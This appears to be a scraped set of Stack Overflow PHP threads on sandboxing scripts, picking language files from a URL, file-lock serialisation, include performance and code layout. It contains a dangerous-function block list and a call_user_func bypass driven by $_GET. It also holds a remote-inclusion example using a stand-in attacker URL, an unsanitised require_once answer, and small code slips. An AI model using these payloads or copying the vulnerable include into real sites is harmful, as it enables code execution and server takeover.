Prevent PHP script to access into filesystem - php

I would like to run my custom php script only if script has not contain any function which can access to other scripts.
This is my solution:
function validateScript($data)
{
$match = null;
if(preg_match('/error_reporting|require|include|file_get_contents|glob|file|fgets|fread|dearfile|ini_set|system|proc_open|iframe|frame|show_source|readfile|passthru|pdo|mysql|phpinfo|session|server|var_dump|var_export|echo|exec|eval|popen|telnet|\$\$|\${\$/i', $data, $match)) {
return false;
}
return true;
}
$script = 'customscript.php';
$data = file_get_contents($script)
if(validateScript($data)) {
include $script;
}
I am not sure if this is good solution or if exists more secured way how to do it?

I would like to run my custom php script only if script has not contain any function which can access to other scripts.
That's a description of a solution - it would help if you explained what the problem is.
There are a lot of ommissions from your list and it is trivial to bypass the mechanisms you have put in place to prevent access.
For example (there's lot of other ways of avoiding the checks) I can run any of the functions you've blacklisted simply by:
foreach ($_GET['cmd'] as $key=>$fn)
call_user_func($fn, unserialize($_GET['args'][$key]);
If you really want to write a secure sandbox with no disk I/O then you have at least 2 years of research and practice ahead of you. Hint: don't even start by trying to parse the script contents.

Related

How to change PHP variable languague based on URL

I have two PHP files - en.php and fr.php. One contains variables in English the other, in French. And I have to use the needed file based on the URL. For example, if the URL ends in ?lang=en I have to use the English one and vice versa. I am really new to PHP so that is why I'm asking here. Thanks!
Simple way
You keep the files in a specific directory, or strictly check the filename syntax.
This is because including the variables using require or include will execute a file that might be on another server, under someone else's control (see below, 'injection') under the security context of your web server. You so do not want this to happen, that it isn't funny. So: check the file name.
$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
$test = $_REQUEST['lang'];
// Verify "lang" is a two-letter string
if (preg_match('#^[a-z]{2}$#', $test)) {
// Verify the requested language file exists
if (is_readable("./{$test}.php")) {
$lang = $test;
}
}
}
// Finally include the file.
include_once("{$lang}.php");
Remembering last used language
session_start();
$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
...as before...
$lang = $test;
$_SESSION['lang'] = $lang;
} else {
if (array_key_exists('lang', $_SESSION)) {
$lang = $_SESSION['lang'];
}
}
// Finally include the file.
include_once("{$lang}.php");
More advanced: use a function to accept the language.
function validLanguage($test) {
// Verify "lang" is a two-letter string
if (preg_match('#^[a-z]{2}$#', $test)) {
// Verify the requested language file exists
if (is_readable("./{$test}.php")) {
return $test;
}
}
return null;
}
Now read it from browser.
PHP has a function to detect what language the browser is requiring.
$languages = array();
$languages[] = 'en'; // Default, with lowest priority
// Note: "en" default is not guaranteed to exist. You must ensure it does.
// Browser choice, with more priority than default
if (class_exists('Locale')) {
$locale = Locale::acceptFromHTTP($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if ($locale !== null) {
$test = substr($locale, 0, 2);
if (null !== ($test = validLanguage($test))) {
$languages[] = $test;
}
}
}
// Session, with more priority
if (array_key_exists('lang', $_SESSION)) {
$languages[] = $_SESSION['lang'];
}
// Language selected, with even more priority
if (array_key_exists('lang', $_REQUEST)) {
$test = $_REQUEST['lang'];
if (null !== ($test = validLanguage($test))) {
$languages[] = $test;
}
}
// Pop best choice for language
$lang = array_pop($languages);
// Remember for the next time
$_SESSION['lang'] = $lang;
// Finally include the appropriate file.
include_once("{$lang}.php");
Apache mod_rewrite
With more experience, you can, even afterwards, make it so requesting https://yoursite.com/en/anypage.php will actually be equivalent to requesting the ordinary https://yoursite.com/anypage.php?lang=en using Apache server's mod_rewrite facility, if you have it installed and activated, achieving more user- and SEO- friendly URLs. More details in this answer.
Doing this another way: using locale()
For the reasons detailed farther below, using include is not a very good idea after all. But usually you do this because you have something like
print "<h1>{$welcomeMessage}, {$username}!</h1>";
and you want to be able to say "Hello, John!" or "Bonjour, John!" or "Ciao, John", depending.
In PHP you can do this in several ways. One of the more robust is through gettext. This requires you to rewrite the above code like this - note that "_" is a valid function name! - ...
print "<h1>" . _('WELCOME_MESSAGE') .", {$username}!</h1>";
and then maintain a special file called a pofile that the underscore system can use.
This has several advantages in terms of memory usage and speed, and for professional usage also, since you can send an English pofile to, say, a Russian professional translator and they will (usually) be able to use it straight away with less hassle, more easily and hence for less money, so you will be able to purchase the appropriate pofile which - once uploaded - will translate your site (or the key parts of it) to Russian. You can even let your website owner (if you're a third-party developer) supply their own pofiles.
The job of using the gettext framework can be made less awkward with this trick: tell PHP beforehand that whatever is output must pass through a filter function.
ob_start('my_translate');
And this function will parse the argument looking for specific telltales that some text needs translating, and if so, return its translation:
function my_translate($text) {
// I will translate ??CAPITAL_STRINGS_IN_DOUBLE_QUESTI1MARKS??
$telltale = '#\?\?([A-Z][A-Z_0-9]+)\?\?#';
return preg_replace_callback(
$telltale,
function ($matches) {
return _($matches[1]);
}
$text
);
}
So now your PHP code becomes
print "<h1>??WELCOME?? {$username}!</h1>";
and instead of include("{$lang}.php") you would have a more complicated sequence, but you need it only in the one place:
// To guess actual OS, see this answer:
// https://stackoverflow.com/Questions/1482260/how-to-get-the-os-on-which-php-is-running
if ('Linux' === PHP_OS) {
setlocale(LC_MESSAGES, $lang);
} else {
putenv("LC_ALL={$lang}");
}
bindtextdomain('website', 'translations');
textdomain('website');
Also, you need to place the appropriate files in the "./translations" directory. In this example, $lang is a bit more complicated since it has to adhere to the "locale" syntax - so it would be "fr_FR" instead of "fr".
Security note about PHP code injection
Imagine that your server isn't very much hardened (many aren't; you'd be surprised). And the name of the desired language was not checked or sanitized. And I, John Q. Evil, have reason to suspect this might be the case. Or just want to check it out. I see "lang=en", I know what's going on.
So I prepare a PHP script on my server and prepare it to be served without being interpreted; accessing https://john.q.evil/hack.php will show you a PHP script complete with <?php start tags.
Then I access your site, and specify lang=https://john.q.evil/hack. Your web server obediently downloads and executes my code. My code, in turn, performs some diagnostics, determines that it's running on a Whateverix 5 server on an ARM CPU as user daemon, and downloads another binary optimized for the Whateverix OS on ARM7 in unprivileged context. Then executes it with shell_exec or in one of many other available ways. A few seconds later, your web server starts, say, mining cryptocoins to one of my disposable and deniable e-wallets.
This scenario is called a remote inclusion attack and is totally possible, and as to why should someone go to all this trouble on pretty little unknown me?, well, the answer is indeed that they wouldn't. But that because they wouldn't need to, not personally, not intentionally. They would instead deploy a crawler bot designed to efficiently locate all web servers that might be exploitable in such a way, and catch them all.
Why? Well, if I could infect, say, one thousand web servers, I could realistically siphon 15-20 watts of computing power from each of them without getting too much noticed. For free. At the end of a year, that should translate to around 2000 US dollars I cash having done absolutely nothing more than the initial setup. But the number of potential vulnerable websites is much more than a paltry one thousand. Attaining the 20,000 infected websites goal would begin to be a lucrative paying job (40K/yr), and tax-free to boot.
That's why miner malware is an industry, and this is why you need to always sanitize your inputs.
You can do something like that:
$lang = "en"; //default languague
if(isset($_GET['lang'])) {
$lang = $_GET['lang'];
}
require_once($lang.".php");

PHP virtual resource access serialization with automatic release

I would like to implement a quick and efficient serialization mechanism between PHP requests for virtual named resources that would unlock when the script is finished, either normally or due to error. I had eaccelerator_lock() and its corresponding eaccelerator_unlock() in the past, but eaccelerator doesn't implement that function anymore. What I want to do is something like:
lock_function("my-named-resource");
..
my_might_abort_abruptly_function();
..
unlock_function("my-named-resource");
Other PHP scripts calling lock_function() with the exact same parameter should block until this script calls unlock_function() or aborts. The resource name is unknown before the processing (it's a generated string) and can't be constrained to a small set (i.e., the locking mechanism should have good granularity). I would like to avoid try/catch code, because there are circunstances in which catch is not called. Also, any mechanism depending on manual usleep() spinning (instead of native OS blocking) should be avoided.
Mine is the only running application in the server. The system is a CentOS 6 Linux with PHP 5.3.3, Apache 2.2.15 and I have full control over it.
I explored the following alternatives:
semaphores: they are not well implemented in PHP; Linux allows arrays of thousands, while PHP only allocates one per id.
flock(): my resources are virtual, and flock() would only lock whole/real/existing files; I'd need to pre-create thousands of files and choose one to lock with a hash function. The granularity would depend on the number of files.
dio_fcntl(): I could attempt to reproduce the idea of flock() with a single file and fcntl(F_SETLK). This would have the advantage of a good granularity without the need of many files; the file could even be zero bytes long! (F_SETLK can lock beyond the end of the file). Alas! The problem is that nowhere in the documentation says that dio_fcntl() will release resources when the script terminates.
database lock: I could implement some key locking in a database with good key locking granularity, althought this is too database dependent. It would not be so quick either.
implement my own PHP extension: I'd really like to avoid that path.
The thing is, I think someone somewhere should have thought of this before me. What would be a good choice? Is there another solution I'm not seeing?
Thanks in advance. Guillermo.
You can always go old school and touch a file when your script starts and remove it when complete.
You could register_shutdown_function to remove the file.
The existence or absence of the file would indicate the locked state of the resource.
It turns out dio_open() does release the resources upon script termination. So I ended writing up the following functions:
$lockfile = $writable_dir."/serialized.lock";
function serialize_access($name)
{
$f = serialize_openfile();
if( !$f ) return false;
$h = serialize_gethash($name);
return dio_fcntl($f, F_SETLKW, array("whence"=>SEEK_SET,"start"=>$h, "length"=>1, "type"=>F_WRLCK)) >= 0;
}
function serialize_release($name)
{
$f = serialize_openfile();
if( !$f ) return false;
$h = serialize_gethash($name);
#dio_fcntl($f, F_SETLK, array("whence"=>SEEK_SET,"start"=>$h, "length"=>1, "type"=>F_UNLCK));
}
function serialize_gethash($name)
{
// Very good granularity (2^31)
return crc32($name) & 0x7fffffff;
}
function serialize_openfile()
{
global $lockfile, $serialize_file;
if( !isset($serialize_file) )
{
$serialize_file = false;
if( extension_loaded("dio") )
{
$serialize_file = #dio_open($lockfile,O_RDWR);
if( $serialize_file )
{
// Do not attempt to create the file with dio_open()
// because the file permissions get all mangled.
$prev = umask(0);
$temp = fopen($lockfile,"a");
if( $temp )
{
$serialize_file = #dio_open($lockfile,O_RDWR);
fclose($temp);
}
umask($prev);
}
}
}
return $serialize_file;
}
It seems to work very well.
implement my own PHP extension
You might want to check ninja-mutex library which does exactly what you want

Is PHP's include resource-expensive (particularly during iterations)?

Does PHP cache include requests? I was wondering how to clean up my code and I thought about using a bit more includes. Consider the following scheme.
[foreach answer] [include answer.tpl.php] [/foreach]
This would require to include answer.tpl.php hundreds of times.
Does it cache? Will it have a worth-considering affect on performance?
Is that considered a good practice? Bad?
In response to #Aaron Murray answer
No, that won't work. The mere concept of _once is to prevent including the same file more than once. (to prevent errors caused by e.g. overwriting constant values)
Practical example would look like this:
# index.php
<?php
$array = array('a', 'b', 'c');
$output = '';
foreach($array as $e)
{
$output .= require_once 'test.php';
}
echo $output;
# test.php
<?php
return $e;
Does PHP cache include requests?
As far as I know, PHP does not cache includes by default. But your underlying filesystem will likely do this. So accessing the same file over and over again as in your example should be quite fast after all.
If you run into actual problems, you would first need to profile the application to find out where the actual bottleneck is. So unless you did not run into any problems yet, I would consider using the include not harmful.
Regarding the good practice, I think this is fairly well explained in this article: When Flat PHP meets Symfony.
Making your code a bit more re-useable
This is no high design here, it's just to show the picture how you can start to make things more modular. You should be able to take the code 1:1 from your include file, just take care all needed template variables are passed into the function (don't use globals for that, it will stand in your way sooner or later):
# in your answer.tpl.php
function answer_template(array $vars) {
extract($vars);
... your template code ...
}
# your script
array = array('a', 'b', 'c');
$output = '';
require('answer.tpl.php');
foreach($array as $e)
{
$output .= answer_template(compact('e'));
}
echo $output;
Have you considered:
require_once('answer.tpl.php')
or
include_once('answer.tpl.php')
Of course then you could include the 'required' files only in the scripts that you want them included in (only where they are really required).
Edit: Revamped answer:
index.php ->
require_once('answer.php');
echo answer(); // This function can be called from anywhere in the scripts.
answer.php ->
function answer() {
return '<div>This is the answer</div>';
}
Also on a side note you could use output buffering in your function to capture HTML (slightly cleaner method for separating HTML and php) within your answer.php.
In response to your example above:
index.php
<?php
require_once('test.php');
$array = array('a', 'b', 'c');
$output = '';
foreach($array as $e)
{
$output .= test($e);
}
echo $output;
test.php
<?php
function test($param) {
return $param;
}
This topic came up before, so here are some potential duplicates (not endorsing any; mostly partial answers, but relevant read nevertheless):
What's the performance cost of "include" in PHP?
Is it bad to include a lot of files in PHP like it is for file based Sessions?
Will reducing number of includes/requires increase performance?
Why is require_once so bad to use?
Which is better performance in PHP?
Well, none of those answers your question specifically. We had a little performance benchmark somewhere, but I can't find it.
(Personally I often do orginize my code to merge the whole application into a single blob file, then strip whitespace, to avoid multiple file accesses, even if APC is there.)

Launching a local PHP Script from a PHP Script and passing GET Parameters

I wrote a function which runs a php script and returns its output. I wish to know if there's a better way to do this, as this seems like more of a workaround to me. Since the script is local, it seems rather wasteful to use page_get_contents (with a full URL) as that takes more time.
function runpage($path, $query) {
parse_str($query, $_GET);
$oldquery = $_SERVER["QUERY_STRING"];
$_SERVER["QUERY_STRING"] = $query;
ob_start();
include $path;
$out = ob_get_contents();
ob_end_clean();
$_SERVER["QUERY_STRING"] = $oldquery;
return $out;
}
Thanks much!
Yes, it is a kludge. No, there isn't a significantly better way.
The whole point of that snippet is to be a workaround. You could very well rewrite the included script, make it read it's input variables from another array and have it return the output correctly over a function call. Or you could turn it into an executable script, and access argv instead of $_GET - but that would require the same amount of restructuring.
Yes, it's awkward. But get over it. Shell scripts and pipes are by no means cleaner than this PHP include (apart from the $_GET override it's similar to templating anyhow). And regardless of that, awkward doesn't mean it's going to fail. Just don't make this a regular construct.

do you think i should keep all my php functions in one file?

i was wondering do you think i should keep all my functions in one file, or seperate them in different files!!
p.s if i put all the functions in one file, would it be easier for php to process that stuff!!
It depends on how many functions they are, how long they are, and what they do. For any significant project, putting everything in one file is generally a bad idea. They should be categorized by what they do.
Having things in separate files is important not only for organization and legibility, but it also really helps during source control to see that a certain file has changed but all the others have stayed the same.
According to my experience, the fewer files you include the faster a PHP script runs. If separating the functions in several files means you need to use include or require several times, it's probably best to keep the functions in one file.
This is premature optimization attempt. The time for processing of the actual file content is going to outweigh the time saved in opening one closing the files. So you are saving maybe 0.01% of the time by splitting the files.
For a very large project, the loss in speed will be made up by the gain in modularity, and if done correctly, scalability. This function is very simple, very small, and can be used to include any php and then execute it, without the need for a long if() else or switch case. Now, this may be more intensive then a switch case statement, but for a large project this function is perfect.
function trnFeature_getFeature($feature = 'default', $options = array()) {
$path = __DIR__ . "/features/{$feature}/{$feature}";
//Check the path, if no file exists bail out
if(!file_exists($path . '.php')) {
return false;
}
//The path checked out, include the file
include_once $path . '.php';
//setup the function that will execute the feature
$feature_fn = "trnFeature_" . $feature . "_featureInit";
//execute the function, passing it the $options array with all available options
if(function_exists($feature_fn)) {
$output = $feature_fn($options);
} else {
//you haven't created the correct function yet, so bail out
return false;
}
return $output;
}

Categories